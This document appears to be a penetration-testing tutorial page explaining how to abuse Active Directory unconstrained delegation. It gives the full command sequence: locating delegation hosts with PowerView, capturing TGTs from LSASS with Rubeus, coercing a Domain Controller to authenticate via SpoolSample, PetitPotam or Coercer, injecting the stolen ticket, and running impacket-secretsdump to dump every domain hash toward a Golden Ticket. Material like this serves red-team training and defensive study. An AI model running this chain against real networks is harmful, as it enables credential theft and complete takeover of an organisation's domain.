Skip to content
HackIndex logo

HackIndex

Unconstrained Delegation Abuse – TGT Capture

3 min read Jul 13, 2026

A host configured for unconstrained delegation stores incoming TGTs in LSASS memory, including TGTs from any domain account that authenticates to it. If you compromise such a host, you can capture those TGTs and use them for pass-the-ticket lateral movement.

The most reliable way to get a high-value TGT is to coerce a Domain Controller's machine account to authenticate to your compromised host. A DC machine account has DCSync rights, so capturing its TGT gives you a path to full domain compromise.

You need local admin or SYSTEM on a host configured for unconstrained delegation. Finding those hosts is an enumeration task, look for the TRUSTED_FOR_DELEGATION flag in computer account UAC attributes via BloodHound or PowerView.

Identifying Unconstrained Delegation Hosts

From a Windows foothold with PowerView:

PS C:\Users\Guest\Desktop> Get-DomainComputer -Unconstrained | Select-Object dnshostname, useraccountcontrol

Note: Domain Controllers always have unconstrained delegation enabled. Compromising a DC is the end state, not the starting point, look for non-DC hosts with this flag set.

Capturing TGTs with Rubeus Monitor Mode

Once you have SYSTEM on the delegation host, start Rubeus in monitor mode to capture incoming TGTs in real time:

PS C:\Users\Guest\Desktop> Rubeus.exe monitor /interval:5 /nowrap

This polls LSASS every 5 seconds and prints any new TGTs as base64 blobs.

Coercing DC Authentication with SpoolSample

With Rubeus monitoring, trigger the DC to authenticate to your compromised host using the printer bug (MS-RPRN):

PS C:\Users\Guest\Desktop> SpoolSample.exe $DC_HOSTNAME $DELEGATION_HOST

$DC_HOSTNAME is the target DC. $DELEGATION_HOST is the host you control with unconstrained delegation. The DC's machine account TGT will appear in Rubeus output within seconds.

Alternatives if SpoolSample fails or the print spooler is disabled:

  • PetitPotam (MS-EFSRPC): PetitPotam.exe $DELEGATION_HOST $DC_HOSTNAME

  • Coercer: coercer coerce -t $DC_HOSTNAME -l $DELEGATION_HOST -u $USER -p $PASSWORD -d $DOMAIN

For the full coercion technique reference, see AD Coercion Attacks.

Using the Captured TGT

Copy the base64 blob from Rubeus output. Inject it into a session on your attack box after converting:

Save the base64 blob to a file, then decode and import:

PS C:\Users\Guest\Desktop> Rubeus.exe ptt /ticket:<base64blob>

Or from Linux, decode the base64 to a .kirbi file and convert:

┌──(kali㉿kali)-[~]
└─$ echo "<base64blob>" | base64 -d > dc_machine.kirbi
┌──(kali㉿kali)-[~]
└─$ impacket-ticketConverter dc_machine.kirbi dc_machine.ccache
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=dc_machine.ccache

With the DC machine account TGT, run DCSync to dump the domain:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$DC_HOSTNAME\$@$DC_HOSTNAME.$DOMAIN -k -no-pass -just-dc

This dumps all domain hashes. For post-DCSync paths, see Active Directory DCSync and Domain Takeover. From here, create a Golden Ticket using the krbtgt hash, see Golden Ticket / Silver Ticket.

Cross-Domain Escalation

If the unconstrained delegation host is in a child domain and you coerce a parent domain DC, the captured TGT may give you a foothold in the parent domain. The same pass-the-ticket workflow applies with the parent DC's machine account TGT.

References